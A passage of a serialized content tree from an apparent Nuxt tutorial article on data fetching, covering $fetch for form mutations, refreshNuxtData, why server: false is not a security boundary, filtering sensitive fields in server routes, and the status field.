\"POST\",\n      body: { email: email.value },\n    });\n    message.value = \"Check your inbox.\";\n  } catch (error) {\n    message.value = error.data?.message ?? \"Something went wrong.\";\n  } finally {\n    submitting.value = false;\n  }\n}\n\u003C/script>\n",[10748],{"type":33,"tag":41,"props":10749,"children":10750},{"__ignoreMap":7},[10751,10770,10807,10844,10880,10887,10911,10939,10950,10986,11014,11059,11070,11107,11130,11190,11206,11234,11241,11248],{"type":33,"tag":367,"props":10752,"children":10753},{"class":369,"line":370},[10754,10758,10762,10766],{"type":33,"tag":367,"props":10755,"children":10756},{"style":1974},[10757],{"type":38,"value":1977},{"type":33,"tag":367,"props":10759,"children":10760},{"style":1980},[10761],{"type":38,"value":1983},{"type":33,"tag":367,"props":10763,"children":10764},{"style":633},[10765],{"type":38,"value":1988},{"type":33,"tag":367,"props":10767,"children":10768},{"style":1974},[10769],{"type":38,"value":2015},{"type":33,"tag":367,"props":10771,"children":10772},{"class":369,"line":402},[10773,10777,10782,10786,10790,10794,10799,10803],{"type":33,"tag":367,"props":10774,"children":10775},{"style":812},[10776],{"type":38,"value":815},{"type":33,"tag":367,"props":10778,"children":10779},{"style":633},[10780],{"type":38,"value":10781}," email",{"type":33,"tag":367,"props":10783,"children":10784},{"style":380},[10785],{"type":38,"value":835},{"type":33,"tag":367,"props":10787,"children":10788},{"style":1124},[10789],{"type":38,"value":4106},{"type":33,"tag":367,"props":10791,"children":10792},{"style":533},[10793],{"type":38,"value":1131},{"type":33,"tag":367,"props":10795,"children":10796},{"style":380},[10797],{"type":38,"value":10798},"\"\"",{"type":33,"tag":367,"props":10800,"children":10801},{"style":533},[10802],{"type":38,"value":1141},{"type":33,"tag":367,"props":10804,"children":10805},{"style":380},[10806],{"type":38,"value":571},{"type":33,"tag":367,"props":10808,"children":10809},{"class":369,"line":574},[10810,10814,10819,10823,10827,10831,10836,10840],{"type":33,"tag":367,"props":10811,"children":10812},{"style":812},[10813],{"type":38,"value":815},{"type":33,"tag":367,"props":10815,"children":10816},{"style":633},[10817],{"type":38,"value":10818}," submitting",{"type":33,"tag":367,"props":10820,"children":10821},{"style":380},[10822],{"type":38,"value":835},{"type":33,"tag":367,"props":10824,"children":10825},{"style":1124},[10826],{"type":38,"value":4106},{"type":33,"tag":367,"props":10828,"children":10829},{"style":533},[10830],{"type":38,"value":1131},{"type":33,"tag":367,"props":10832,"children":10833},{"style":901},[10834],{"type":38,"value":10835},"false",{"type":33,"tag":367,"props":10837,"children":10838},{"style":533},[10839],{"type":38,"value":1141},{"type":33,"tag":367,"props":10841,"children":10842},{"style":380},[10843],{"type":38,"value":571},{"type":33,"tag":367,"props":10845,"children":10846},{"class":369,"line":625},[10847,10851,10856,10860,10864,10868,10872,10876],{"type":33,"tag":367,"props":10848,"children":10849},{"style":812},[10850],{"type":38,"value":815},{"type":33,"tag":367,"props":10852,"children":10853},{"style":633},[10854],{"type":38,"value":10855}," message",{"type":33,"tag":367,"props":10857,"children":10858},{"style":380},[10859],{"type":38,"value":835},{"type":33,"tag":367,"props":10861,"children":10862},{"style":1124},[10863],{"type":38,"value":4106},{"type":33,"tag":367,"props":10865,"children":10866},{"style":533},[10867],{"type":38,"value":1131},{"type":33,"tag":367,"props":10869,"children":10870},{"style":380},[10871],{"type":38,"value":10798},{"type":33,"tag":367,"props":10873,"children":10874},{"style":533},[10875],{"type":38,"value":1141},{"type":33,"tag":367,"props":10877,"children":10878},{"style":380},[10879],{"type":38,"value":571},{"type":33,"tag":367,"props":10881,"children":10882},{"class":369,"line":681},[10883],{"type":33,"tag":367,"props":10884,"children":10885},{"emptyLinePlaceholder":726},[10886],{"type":38,"value":729},{"type":33,"tag":367,"props":10888,"children":10889},{"class":369,"line":722},[10890,10894,10898,10903,10907],{"type":33,"tag":367,"props":10891,"children":10892},{"style":812},[10893],{"type":38,"value":4935},{"type":33,"tag":367,"props":10895,"children":10896},{"style":633},[10897],{"type":38,"value":4850},{"type":33,"tag":367,"props":10899,"children":10900},{"style":1124},[10901],{"type":38,"value":10902}," subscribe",{"type":33,"tag":367,"props":10904,"children":10905},{"style":533},[10906],{"type":38,"value":1197},{"type":33,"tag":367,"props":10908,"children":10909},{"style":533},[10910],{"type":38,"value":840},{"type":33,"tag":367,"props":10912,"children":10913},{"class":369,"line":732},[10914,10919,10923,10927,10931,10935],{"type":33,"tag":367,"props":10915,"children":10916},{"style":374},[10917],{"type":38,"value":10918},"  submitting",{"type":33,"tag":367,"props":10920,"children":10921},{"style":380},[10922],{"type":38,"value":174},{"type":33,"tag":367,"props":10924,"children":10925},{"style":527},[10926],{"type":38,"value":2915},{"type":33,"tag":367,"props":10928,"children":10929},{"style":380},[10930],{"type":38,"value":835},{"type":33,"tag":367,"props":10932,"children":10933},{"style":901},[10934],{"type":38,"value":5005},{"type":33,"tag":367,"props":10936,"children":10937},{"style":380},[10938],{"type":38,"value":571},{"type":33,"tag":367,"props":10940,"children":10941},{"class":369,"line":766},[10942,10946],{"type":33,"tag":367,"props":10943,"children":10944},{"style":633},[10945],{"type":38,"value":4259},{"type":33,"tag":367,"props":10947,"children":10948},{"style":533},[10949],{"type":38,"value":840},{"type":33,"tag":367,"props":10951,"children":10952},{"class":369,"line":800},[10953,10957,10961,10965,10969,10974,10978,10982],{"type":33,"tag":367,"props":10954,"children":10955},{"style":3682},[10956],{"type":38,"value":5032},{"type":33,"tag":367,"props":10958,"children":10959},{"style":1124},[10960],{"type":38,"value":9933},{"type":33,"tag":367,"props":10962,"children":10963},{"style":533},[10964],{"type":38,"value":1131},{"type":33,"tag":367,"props":10966,"children":10967},{"style":380},[10968],{"type":38,"value":388},{"type":33,"tag":367,"props":10970,"children":10971},{"style":391},[10972],{"type":38,"value":10973},"/api/subscribe",{"type":33,"tag":367,"props":10975,"children":10976},{"style":380},[10977],{"type":38,"value":388},{"type":33,"tag":367,"props":10979,"children":10980},{"style":380},[10981],{"type":38,"value":593},{"type":33,"tag":367,"props":10983,"children":10984},{"style":533},[10985],{"type":38,"value":840},{"type":33,"tag":367,"props":10987,"children":10988},{"class":369,"line":808},[10989,10994,10998,11002,11006,11010],{"type":33,"tag":367,"props":10990,"children":10991},{"style":847},[10992],{"type":38,"value":10993},"      method",{"type":33,"tag":367,"props":10995,"children":10996},{"style":380},[10997],{"type":38,"value":825},{"type":33,"tag":367,"props":10999,"children":11000},{"style":380},[11001],{"type":38,"value":557},{"type":33,"tag":367,"props":11003,"children":11004},{"style":391},[11005],{"type":38,"value":9057},{"type":33,"tag":367,"props":11007,"children":11008},{"style":380},[11009],{"type":38,"value":388},{"type":33,"tag":367,"props":11011,"children":11012},{"style":380},[11013],{"type":38,"value":908},{"type":33,"tag":367,"props":11015,"children":11016},{"class":369,"line":843},[11017,11022,11026,11030,11035,11039,11043,11047,11051,11055],{"type":33,"tag":367,"props":11018,"children":11019},{"style":847},[11020],{"type":38,"value":11021},"      body",{"type":33,"tag":367,"props":11023,"children":11024},{"style":380},[11025],{"type":38,"value":825},{"type":33,"tag":367,"props":11027,"children":11028},{"style":533},[11029],{"type":38,"value":536},{"type":33,"tag":367,"props":11031,"children":11032},{"style":847},[11033],{"type":38,"value":11034},"email",{"type":33,"tag":367,"props":11036,"children":11037},{"style":380},[11038],{"type":38,"value":825},{"type":33,"tag":367,"props":11040,"children":11041},{"style":374},[11042],{"type":38,"value":10781},{"type":33,"tag":367,"props":11044,"children":11045},{"style":380},[11046],{"type":38,"value":174},{"type":33,"tag":367,"props":11048,"children":11049},{"style":527},[11050],{"type":38,"value":2915},{"type":33,"tag":367,"props":11052,"children":11053},{"style":533},[11054],{"type":38,"value":547},{"type":33,"tag":367,"props":11056,"children":11057},{"style":380},[11058],{"type":38,"value":908},{"type":33,"tag":367,"props":11060,"children":11061},{"class":369,"line":861},[11062,11066],{"type":33,"tag":367,"props":11063,"children":11064},{"style":533},[11065],{"type":38,"value":5252},{"type":33,"tag":367,"props":11067,"children":11068},{"style":380},[11069],{"type":38,"value":571},{"type":33,"tag":367,"props":11071,"children":11072},{"class":369,"line":911},[11073,11078,11082,11086,11090,11094,11099,11103],{"type":33,"tag":367,"props":11074,"children":11075},{"style":374},[11076],{"type":38,"value":11077},"    message",{"type":33,"tag":367,"props":11079,"children":11080},{"style":380},[11081],{"type":38,"value":174},{"type":33,"tag":367,"props":11083,"children":11084},{"style":527},[11085],{"type":38,"value":2915},{"type":33,"tag":367,"props":11087,"children":11088},{"style":380},[11089],{"type":38,"value":835},{"type":33,"tag":367,"props":11091,"children":11092},{"style":380},[11093],{"type":38,"value":557},{"type":33,"tag":367,"props":11095,"children":11096},{"style":391},[11097],{"type":38,"value":11098},"Check your inbox.",{"type":33,"tag":367,"props":11100,"children":11101},{"style":380},[11102],{"type":38,"value":388},{"type":33,"tag":367,"props":11104,"children":11105},{"style":380},[11106],{"type":38,"value":571},{"type":33,"tag":367,"props":11108,"children":11109},{"class":369,"line":956},[11110,11114,11118,11122,11126],{"type":33,"tag":367,"props":11111,"children":11112},{"style":533},[11113],{"type":38,"value":4324},{"type":33,"tag":367,"props":11115,"children":11116},{"style":633},[11117],{"type":38,"value":4329},{"type":33,"tag":367,"props":11119,"children":11120},{"style":533},[11121],{"type":38,"value":1215},{"type":33,"tag":367,"props":11123,"children":11124},{"style":374},[11125],{"type":38,"value":3583},{"type":33,"tag":367,"props":11127,"children":11128},{"style":533},[11129],{"type":38,"value":1429},{"type":33,"tag":367,"props":11131,"children":11132},{"class":369,"line":985},[11133,11137,11141,11145,11149,11153,11157,11161,11165,11169,11173,11177,11182,11186],{"type":33,"tag":367,"props":11134,"children":11135},{"style":374},[11136],{"type":38,"value":11077},{"type":33,"tag":367,"props":11138,"children":11139},{"style":380},[11140],{"type":38,"value":174},{"type":33,"tag":367,"props":11142,"children":11143},{"style":527},[11144],{"type":38,"value":2915},{"type":33,"tag":367,"props":11146,"children":11147},{"style":380},[11148],{"type":38,"value":835},{"type":33,"tag":367,"props":11150,"children":11151},{"style":374},[11152],{"type":38,"value":3303},{"type":33,"tag":367,"props":11154,"children":11155},{"style":380},[11156],{"type":38,"value":174},{"type":33,"tag":367,"props":11158,"children":11159},{"style":374},[11160],{"type":38,"value":10165},{"type":33,"tag":367,"props":11162,"children":11163},{"style":380},[11164],{"type":38,"value":7364},{"type":33,"tag":367,"props":11166,"children":11167},{"style":527},[11168],{"type":38,"value":8611},{"type":33,"tag":367,"props":11170,"children":11171},{"style":633},[11172],{"type":38,"value":2933},{"type":33,"tag":367,"props":11174,"children":11175},{"style":380},[11176],{"type":38,"value":557},{"type":33,"tag":367,"props":11178,"children":11179},{"style":391},[11180],{"type":38,"value":11181},"Something went wrong.",{"type":33,"tag":367,"props":11183,"children":11184},{"style":380},[11185],{"type":38,"value":388},{"type":33,"tag":367,"props":11187,"children":11188},{"style":380},[11189],{"type":38,"value":571},{"type":33,"tag":367,"props":11191,"children":11192},{"class":369,"line":1014},[11193,11197,11202],{"type":33,"tag":367,"props":11194,"children":11195},{"style":533},[11196],{"type":38,"value":4324},{"type":33,"tag":367,"props":11198,"children":11199},{"style":633},[11200],{"type":38,"value":11201},"finally",{"type":33,"tag":367,"props":11203,"children":11204},{"style":533},[11205],{"type":38,"value":840},{"type":33,"tag":367,"props":11207,"children":11208},{"class":369,"line":1027},[11209,11214,11218,11222,11226,11230],{"type":33,"tag":367,"props":11210,"children":11211},{"style":374},[11212],{"type":38,"value":11213},"    submitting",{"type":33,"tag":367,"props":11215,"children":11216},{"style":380},[11217],{"type":38,"value":174},{"type":33,"tag":367,"props":11219,"children":11220},{"style":527},[11221],{"type":38,"value":2915},{"type":33,"tag":367,"props":11223,"children":11224},{"style":380},[11225],{"type":38,"value":835},{"type":33,"tag":367,"props":11227,"children":11228},{"style":901},[11229],{"type":38,"value":5268},{"type":33,"tag":367,"props":11231,"children":11232},{"style":380},[11233],{"type":38,"value":571},{"type":33,"tag":367,"props":11235,"children":11236},{"class":369,"line":1044},[11237],{"type":33,"tag":367,"props":11238,"children":11239},{"style":533},[11240],{"type":38,"value":1523},{"type":33,"tag":367,"props":11242,"children":11243},{"class":369,"line":1074},[11244],{"type":33,"tag":367,"props":11245,"children":11246},{"style":533},[11247],{"type":38,"value":1301},{"type":33,"tag":367,"props":11249,"children":11250},{"class":369,"line":1086},[11251,11255,11259],{"type":33,"tag":367,"props":11252,"children":11253},{"style":1974},[11254],{"type":38,"value":2382},{"type":33,"tag":367,"props":11256,"children":11257},{"style":1980},[11258],{"type":38,"value":1983},{"type":33,"tag":367,"props":11260,"children":11261},{"style":1974},[11262],{"type":38,"value":2015},{"type":33,"tag":34,"props":11264,"children":11265},{},[11266,11268,11273,11275,11280],{"type":38,"value":11267},"Wrapping that in ",{"type":33,"tag":41,"props":11269,"children":11271},{"className":11270},[],[11272],{"type":38,"value":8008},{"type":38,"value":11274}," would run it during SSR, on page load, before the user typed anything. Mutations belong in ",{"type":33,"tag":41,"props":11276,"children":11278},{"className":11277},[],[11279],{"type":38,"value":8024},{"type":38,"value":174},{"type":33,"tag":34,"props":11282,"children":11283},{},[11284],{"type":38,"value":11285},"After a mutation changes data that a composable is holding, sync it:",{"type":33,"tag":357,"props":11287,"children":11289},{"code":11288,"language":8808,"meta":7,"className":8809,"style":7},"await $fetch(\"/api/articles\", { method: \"POST\", body: draft });\nawait refresh();                    // the handle from this component\nawait refreshNuxtData(\"articles\");  // by key, from anywhere\n",[11290],{"type":33,"tag":41,"props":11291,"children":11292},{"__ignoreMap":7},[11293,11375,11400],{"type":33,"tag":367,"props":11294,"children":11295},{"class":369,"line":370},[11296,11300,11304,11308,11312,11316,11320,11324,11328,11333,11337,11341,11345,11349,11353,11358,11362,11367,11371],{"type":33,"tag":367,"props":11297,"children":11298},{"style":3682},[11299],{"type":38,"value":3685},{"type":33,"tag":367,"props":11301,"children":11302},{"style":1124},[11303],{"type":38,"value":9933},{"type":33,"tag":367,"props":11305,"children":11306},{"style":533},[11307],{"type":38,"value":1131},{"type":33,"tag":367,"props":11309,"children":11310},{"style":380},[11311],{"type":38,"value":388},{"type":33,"tag":367,"props":11313,"children":11314},{"style":391},[11315],{"type":38,"value":9946},{"type":33,"tag":367,"props":11317,"children":11318},{"style":380},[11319],{"type":38,"value":388},{"type":33,"tag":367,"props":11321,"children":11322},{"style":380},[11323],{"type":38,"value":593},{"type":33,"tag":367,"props":11325,"children":11326},{"style":533},[11327],{"type":38,"value":1854},{"type":33,"tag":367,"props":11329,"children":11330},{"style":847},[11331],{"type":38,"value":11332}," method",{"type":33,"tag":367,"props":11334,"children":11335},{"style":380},[11336],{"type":38,"value":825},{"type":33,"tag":367,"props":11338,"children":11339},{"style":380},[11340],{"type":38,"value":557},{"type":33,"tag":367,"props":11342,"children":11343},{"style":391},[11344],{"type":38,"value":9057},{"type":33,"tag":367,"props":11346,"children":11347},{"style":380},[11348],{"type":38,"value":388},{"type":33,"tag":367,"props":11350,"children":11351},{"style":380},[11352],{"type":38,"value":593},{"type":33,"tag":367,"props":11354,"children":11355},{"style":847},[11356],{"type":38,"value":11357}," body",{"type":33,"tag":367,"props":11359,"children":11360},{"style":380},[11361],{"type":38,"value":825},{"type":33,"tag":367,"props":11363,"children":11364},{"style":374},[11365],{"type":38,"value":11366}," draft",{"type":33,"tag":367,"props":11368,"children":11369},{"style":533},[11370],{"type":38,"value":2325},{"type":33,"tag":367,"props":11372,"children":11373},{"style":380},[11374],{"type":38,"value":571},{"type":33,"tag":367,"props":11376,"children":11377},{"class":369,"line":402},[11378,11382,11386,11390,11395],{"type":33,"tag":367,"props":11379,"children":11380},{"style":3682},[11381],{"type":38,"value":3685},{"type":33,"tag":367,"props":11383,"children":11384},{"style":1124},[11385],{"type":38,"value":8411},{"type":33,"tag":367,"props":11387,"children":11388},{"style":533},[11389],{"type":38,"value":1197},{"type":33,"tag":367,"props":11391,"children":11392},{"style":380},[11393],{"type":38,"value":11394},";",{"type":33,"tag":367,"props":11396,"children":11397},{"style":518},[11398],{"type":38,"value":11399},"                    // the handle from this component\n",{"type":33,"tag":367,"props":11401,"children":11402},{"class":369,"line":574},[11403,11407,11412,11416,11420,11424,11428,11432,11436],{"type":33,"tag":367,"props":11404,"children":11405},{"style":3682},[11406],{"type":38,"value":3685},{"type":33,"tag":367,"props":11408,"children":11409},{"style":1124},[11410],{"type":38,"value":11411}," refreshNuxtData",{"type":33,"tag":367,"props":11413,"children":11414},{"style":533},[11415],{"type":38,"value":1131},{"type":33,"tag":367,"props":11417,"children":11418},{"style":380},[11419],{"type":38,"value":388},{"type":33,"tag":367,"props":11421,"children":11422},{"style":391},[11423],{"type":38,"value":9908},{"type":33,"tag":367,"props":11425,"children":11426},{"style":380},[11427],{"type":38,"value":388},{"type":33,"tag":367,"props":11429,"children":11430},{"style":533},[11431],{"type":38,"value":1141},{"type":33,"tag":367,"props":11433,"children":11434},{"style":380},[11435],{"type":38,"value":11394},{"type":33,"tag":367,"props":11437,"children":11438},{"style":518},[11439],{"type":38,"value":11440},"  // by key, from anywhere\n",{"type":33,"tag":95,"props":11442,"children":11444},{"id":11443},"server-false-is-not-a-security-boundary",[11445],{"type":38,"value":11446},"server: false Is Not a Security Boundary",{"type":33,"tag":34,"props":11448,"children":11449},{},[11450,11452,11458],{"type":38,"value":11451},"An earlier version of this article listed ",{"type":33,"tag":41,"props":11453,"children":11455},{"className":11454},[],[11456],{"type":38,"value":11457},"{ server: true }",{"type":38,"value":11459}," under \"server-only fetching for sensitive data\". That was wrong, and wrong in a direction that leaks data, so it gets its own section.",{"type":33,"tag":34,"props":11461,"children":11462},{},[11463,11469,11471,11477,11479],{"type":33,"tag":41,"props":11464,"children":11466},{"className":11465},[],[11467],{"type":38,"value":11468},"server: true",{"type":38,"value":11470}," is the default. It means \"run this during server-side rendering\". It does not mean \"run this only on the server\". On a client-side navigation the handler runs in the browser like any other, and on first load the result is serialised into the ",{"type":33,"tag":41,"props":11472,"children":11474},{"className":11473},[],[11475],{"type":38,"value":11476},"__NUXT__",{"type":38,"value":11478}," payload, which is plain text in the HTML document. ",{"type":33,"tag":201,"props":11480,"children":11481},{},[11482,11484,11489],{"type":38,"value":11483},"Anything a composable returns is readable by the user, whichever way ",{"type":33,"tag":41,"props":11485,"children":11487},{"className":11486},[],[11488],{"type":38,"value":7260},{"type":38,"value":11490}," is set.",{"type":33,"tag":34,"props":11492,"children":11493},{},[11494,11500],{"type":33,"tag":41,"props":11495,"children":11497},{"className":11496},[],[11498],{"type":38,"value":11499},"server: false",{"type":38,"value":11501}," is the option that changes behaviour, and it changes it in the opposite direction: skip this during SSR, run it only after hydration.",{"type":33,"tag":357,"props":11503,"children":11505},{"code":11504,"language":8808,"meta":7,"className":8809,"style":7},"// Runs in the browser only. Never part of the SSR payload.\n// Correct for data that is per-user and uncacheable, not for data that is secret.\nconst { data: notifications } = await useFetch(\"/api/notifications\", {\n  server: false,\n});\n",[11506],{"type":33,"tag":41,"props":11507,"children":11508},{"__ignoreMap":7},[11509,11517,11525,11590,11610],{"type":33,"tag":367,"props":11510,"children":11511},{"class":369,"line":370},[11512],{"type":33,"tag":367,"props":11513,"children":11514},{"style":518},[11515],{"type":38,"value":11516},"// Runs in the browser only. Never part of the SSR payload.\n",{"type":33,"tag":367,"props":11518,"children":11519},{"class":369,"line":402},[11520],{"type":33,"tag":367,"props":11521,"children":11522},{"style":518},[11523],{"type":38,"value":11524},"// Correct for data that is per-user and uncacheable, not for data that is secret.\n",{"type":33,"tag":367,"props":11526,"children":11527},{"class":369,"line":574},[11528,11532,11536,11540,11544,11549,11553,11557,11561,11565,11569,11573,11578,11582,11586],{"type":33,"tag":367,"props":11529,"children":11530},{"style":812},[11531],{"type":38,"value":815},{"type":33,"tag":367,"props":11533,"children":11534},{"style":380},[11535],{"type":38,"value":1854},{"type":33,"tag":367,"props":11537,"children":11538},{"style":374},[11539],{"type":38,"value":8376},{"type":33,"tag":367,"props":11541,"children":11542},{"style":380},[11543],{"type":38,"value":825},{"type":33,"tag":367,"props":11545,"children":11546},{"style":633},[11547],{"type":38,"value":11548}," notifications",{"type":33,"tag":367,"props":11550,"children":11551},{"style":380},[11552],{"type":38,"value":547},{"type":33,"tag":367,"props":11554,"children":11555},{"style":380},[11556],{"type":38,"value":835},{"type":33,"tag":367,"props":11558,"children":11559},{"style":3682},[11560],{"type":38,"value":4288},{"type":33,"tag":367,"props":11562,"children":11563},{"style":1124},[11564],{"type":38,"value":8428},{"type":33,"tag":367,"props":11566,"children":11567},{"style":533},[11568],{"type":38,"value":1131},{"type":33,"tag":367,"props":11570,"children":11571},{"style":380},[11572],{"type":38,"value":388},{"type":33,"tag":367,"props":11574,"children":11575},{"style":391},[11576],{"type":38,"value":11577},"/api/notifications",{"type":33,"tag":367,"props":11579,"children":11580},{"style":380},[11581],{"type":38,"value":388},{"type":33,"tag":367,"props":11583,"children":11584},{"style":380},[11585],{"type":38,"value":593},{"type":33,"tag":367,"props":11587,"children":11588},{"style":533},[11589],{"type":38,"value":840},{"type":33,"tag":367,"props":11591,"children":11592},{"class":369,"line":625},[11593,11598,11602,11606],{"type":33,"tag":367,"props":11594,"children":11595},{"style":847},[11596],{"type":38,"value":11597},"  server",{"type":33,"tag":367,"props":11599,"children":11600},{"style":380},[11601],{"type":38,"value":825},{"type":33,"tag":367,"props":11603,"children":11604},{"style":901},[11605],{"type":38,"value":5268},{"type":33,"tag":367,"props":11607,"children":11608},{"style":380},[11609],{"type":38,"value":908},{"type":33,"tag":367,"props":11611,"children":11612},{"class":369,"line":681},[11613,11617],{"type":33,"tag":367,"props":11614,"children":11615},{"style":533},[11616],{"type":38,"value":1532},{"type":33,"tag":367,"props":11618,"children":11619},{"style":380},[11620],{"type":38,"value":571},{"type":33,"tag":34,"props":11622,"children":11623},{},[11624],{"type":38,"value":11625},"If a response contains an API key, an internal ID, or a field the user is not allowed to see, no combination of these options will help. Filter it in a server route and return only the fields the page is entitled to.",{"type":33,"tag":357,"props":11627,"children":11630},{"code":11628,"language":2006,"meta":7,"className":11629,"style":7},"// server/api/profile.get.ts\nexport default defineEventHandler(async (event) => {\n  const user = await getUserFromSession(event);\n\n  // stripeCustomerId and internalNotes stay on this side.\n  return {\n    name: user.name,\n    email: user.email,\n    plan: user.plan,\n  };\n});\n","language-ts shiki shiki-themes tokyo-night",[11631],{"type":33,"tag":41,"props":11632,"children":11633},{"__ignoreMap":7},[11634,11642,11686,11727,11734,11742,11753,11781,11809,11838,11849],{"type":33,"tag":367,"props":11635,"children":11636},{"class":369,"line":370},[11637],{"type":33,"tag":367,"props":11638,"children":11639},{"style":518},[11640],{"type":38,"value":11641},"// server/api/profile.get.ts\n",{"type":33,"tag":367,"props":11643,"children":11644},{"class":369,"line":402},[11645,11649,11653,11658,11662,11666,11670,11674,11678,11682],{"type":33,"tag":367,"props":11646,"children":11647},{"style":527},[11648],{"type":38,"value":4845},{"type":33,"tag":367,"props":11650,"children":11651},{"style":527},[11652],{"type":38,"value":5797},{"type":33,"tag":367,"props":11654,"children":11655},{"style":1124},[11656],{"type":38,"value":11657}," defineEventHandler",{"type":33,"tag":367,"props":11659,"children":11660},{"style":533},[11661],{"type":38,"value":1131},{"type":33,"tag":367,"props":11663,"children":11664},{"style":812},[11665],{"type":38,"value":4935},{"type":33,"tag":367,"props":11667,"children":11668},{"style":533},[11669],{"type":38,"value":1215},{"type":33,"tag":367,"props":11671,"children":11672},{"style":1344},[11673],{"type":38,"value":1347},{"type":33,"tag":367,"props":11675,"children":11676},{"style":533},[11677],{"type":38,"value":1141},{"type":33,"tag":367,"props":11679,"children":11680},{"style":633},[11681],{"type":38,"value":1356},{"type":33,"tag":367,"props":11683,"children":11684},{"style":533},[11685],{"type":38,"value":840},{"type":33,"tag":367,"props":11687,"children":11688},{"class":369,"line":574},[11689,11693,11698,11702,11706,11711,11715,11719,11723],{"type":33,"tag":367,"props":11690,"children":11691},{"style":812},[11692],{"type":38,"value":5839},{"type":33,"tag":367,"props":11694,"children":11695},{"style":633},[11696],{"type":38,"value":11697}," user",{"type":33,"tag":367,"props":11699,"children":11700},{"style":380},[11701],{"type":38,"value":835},{"type":33,"tag":367,"props":11703,"children":11704},{"style":3682},[11705],{"type":38,"value":4288},{"type":33,"tag":367,"props":11707,"children":11708},{"style":1124},[11709],{"type":38,"value":11710}," getUserFromSession",{"type":33,"tag":367,"props":11712,"children":11713},{"style":533},[11714],{"type":38,"value":1131},{"type":33,"tag":367,"props":11716,"children":11717},{"style":374},[11718],{"type":38,"value":1347},{"type":33,"tag":367,"props":11720,"children":11721},{"style":533},[11722],{"type":38,"value":1141},{"type":33,"tag":367,"props":11724,"children":11725},{"style":380},[11726],{"type":38,"value":571},{"type":33,"tag":367,"props":11728,"children":11729},{"class":369,"line":625},[11730],{"type":33,"tag":367,"props":11731,"children":11732},{"emptyLinePlaceholder":726},[11733],{"type":38,"value":729},{"type":33,"tag":367,"props":11735,"children":11736},{"class":369,"line":681},[11737],{"type":33,"tag":367,"props":11738,"children":11739},{"style":518},[11740],{"type":38,"value":11741},"  // stripeCustomerId and internalNotes stay on this side.\n",{"type":33,"tag":367,"props":11743,"children":11744},{"class":369,"line":722},[11745,11749],{"type":33,"tag":367,"props":11746,"children":11747},{"style":3682},[11748],{"type":38,"value":9659},{"type":33,"tag":367,"props":11750,"children":11751},{"style":533},[11752],{"type":38,"value":840},{"type":33,"tag":367,"props":11754,"children":11755},{"class":369,"line":732},[11756,11761,11765,11769,11773,11777],{"type":33,"tag":367,"props":11757,"children":11758},{"style":847},[11759],{"type":38,"value":11760},"    name",{"type":33,"tag":367,"props":11762,"children":11763},{"style":380},[11764],{"type":38,"value":825},{"type":33,"tag":367,"props":11766,"children":11767},{"style":374},[11768],{"type":38,"value":11697},{"type":33,"tag":367,"props":11770,"children":11771},{"style":380},[11772],{"type":38,"value":174},{"type":33,"tag":367,"props":11774,"children":11775},{"style":527},[11776],{"type":38,"value":3036},{"type":33,"tag":367,"props":11778,"children":11779},{"style":380},[11780],{"type":38,"value":908},{"type":33,"tag":367,"props":11782,"children":11783},{"class":369,"line":766},[11784,11789,11793,11797,11801,11805],{"type":33,"tag":367,"props":11785,"children":11786},{"style":847},[11787],{"type":38,"value":11788},"    email",{"type":33,"tag":367,"props":11790,"children":11791},{"style":380},[11792],{"type":38,"value":825},{"type":33,"tag":367,"props":11794,"children":11795},{"style":374},[11796],{"type":38,"value":11697},{"type":33,"tag":367,"props":11798,"children":11799},{"style":380},[11800],{"type":38,"value":174},{"type":33,"tag":367,"props":11802,"children":11803},{"style":527},[11804],{"type":38,"value":11034},{"type":33,"tag":367,"props":11806,"children":11807},{"style":380},[11808],{"type":38,"value":908},{"type":33,"tag":367,"props":11810,"children":11811},{"class":369,"line":800},[11812,11817,11821,11825,11829,11834],{"type":33,"tag":367,"props":11813,"children":11814},{"style":847},[11815],{"type":38,"value":11816},"    plan",{"type":33,"tag":367,"props":11818,"children":11819},{"style":380},[11820],{"type":38,"value":825},{"type":33,"tag":367,"props":11822,"children":11823},{"style":374},[11824],{"type":38,"value":11697},{"type":33,"tag":367,"props":11826,"children":11827},{"style":380},[11828],{"type":38,"value":174},{"type":33,"tag":367,"props":11830,"children":11831},{"style":527},[11832],{"type":38,"value":11833},"plan",{"type":33,"tag":367,"props":11835,"children":11836},{"style":380},[11837],{"type":38,"value":908},{"type":33,"tag":367,"props":11839,"children":11840},{"class":369,"line":808},[11841,11845],{"type":33,"tag":367,"props":11842,"children":11843},{"style":533},[11844],{"type":38,"value":1020},{"type":33,"tag":367,"props":11846,"children":11847},{"style":380},[11848],{"type":38,"value":571},{"type":33,"tag":367,"props":11850,"children":11851},{"class":369,"line":843},[11852,11856],{"type":33,"tag":367,"props":11853,"children":11854},{"style":533},[11855],{"type":38,"value":1532},{"type":33,"tag":367,"props":11857,"children":11858},{"style":380},[11859],{"type":38,"value":571},{"type":33,"tag":95,"props":11861,"children":11863},{"id":11862},"status-not-pending",[11864],{"type":38,"value":11865},"status, Not pending",{"type":33,"tag":34,"props":11867,"children":11868},{},[11869,11871,11876,11878,11883],{"type":38,"value":11870},"Both are returned and ",{"type":33,"tag":41,"props":11872,"children":11874},{"className":11873},[],[11875],{"type":38,"value":8532},{"type":38,"value":11877}," is still documented, so nothing is broken if you use it. ",{"type":33,"tag":41,"props":11879,"children":11881},{"className":11880},[],[11882],{"type":38,"value":8518},{"type":38,"value":11884}," is more precise:",{"type":38,"value":11886},"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",{"type":33,"tag":7526,"props":11888,"children":11889},{},[11890,11909],{"type":33,"tag":7530,"props":11891,"children":11892},{},[11893],{"type":33,"tag":7534,"props":11894,"children":11895},{},[11896,11904],{"type":33,"tag":7538,"props":11897,"children":11898},{},[11899],{"type":33,"tag":41,"props":11900,"children":11902},{"className":11901},[],[11903],{"type":38,"value":8518},{"type":33,"tag":7538,"props":11905,"children":11906},{},[11907],{"type":38,"value":11908},"Meaning",{"type":33,"tag":7561,"props":11910,"children":11911},{},[11912,11943,11959,11976],{"type":33,"tag":7534,"props":11913,"children":11914},{},[11915,11924],{"type":33,"tag":7568,"props":11916,"children":11917},{},[11918],{"type":33,"tag":41,"props":11919,"children":11921},{"className":11920},[],[11922],{"type":38,"value":11923},"idle",{"type":33,"tag":7568,"props":11925,"children":11926},{},[11927,11929,11935,11937],{"type":38,"value":11928},"Not started. You passed ",{"type":33,"tag":41,"props":11930,"children":11932},{"className":11931},[],[11933],{"type":38,"value":11934},"immediate: false",{"type":38,"value":11936}," and have not called 